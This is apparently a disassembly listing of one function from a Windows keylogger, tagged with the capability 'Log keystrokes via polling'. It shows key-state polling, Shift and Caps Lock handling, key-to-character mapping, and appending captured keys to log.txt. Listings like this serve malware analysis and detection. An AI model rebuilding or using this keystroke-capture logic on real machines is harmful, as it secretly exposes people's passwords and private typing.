Function at 0x14000195e
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov dword [rbp + 0x20], ecx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400043c0
mov eax, dword [rbp + 0x20]
mov ecx, eax
call dbg.is_alpha(unsigned long)
test al, al
je 0x140001a71
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001a0b
call dbg.is_capslock()
test al, al
je 0x1400019db
mov eax, dword [rbp + 0x20]
mov dword [rbp - 0x18], eax
lea rax, [rbp - 0x18]
mov rdx, rax
lea rax, [0x14000c240]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x140001ae1
mov eax, dword [rbp + 0x20]
mov dword [rbp - 0x14], eax
lea rax, [rbp - 0x14]
mov rdx, rax
lea rax, [0x14000c280]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x140001ae1
call dbg.is_capslock()
test al, al
je 0x140001a44
mov eax, dword [rbp + 0x20]
mov dword [rbp - 0x10], eax
lea rax, [rbp - 0x10]
mov rdx, rax
lea rax, [0x14000c280]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x140001ae1
mov eax, dword [rbp + 0x20]
mov dword [rbp - 0xc], eax
lea rax, [rbp - 0xc]
mov rdx, rax
lea rax, [0x14000c240]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x140001ae1
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001ab6
mov eax, dword [rbp + 0x20]
mov dword [rbp - 8], eax
lea rax, [rbp - 8]
mov rdx, rax
lea rax, [0x14000c2c0]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x140001ae1
mov eax, dword [rbp + 0x20]
mov dword [rbp - 4], eax
lea rax, [rbp - 4]
mov rdx, rax
lea rax, [0x14000c240]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::empty___const
xor eax, 1
test al, al
je 0x140001b38
mov r8d, 1
lea rax, str.log.txt
mov rdx, rax
lea rax, [0x14000c040]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::open_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, [0x14000c050]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [0x14000c040]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::close__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001b61
add rsp, 0x68
pop rbx
pop rbp
ret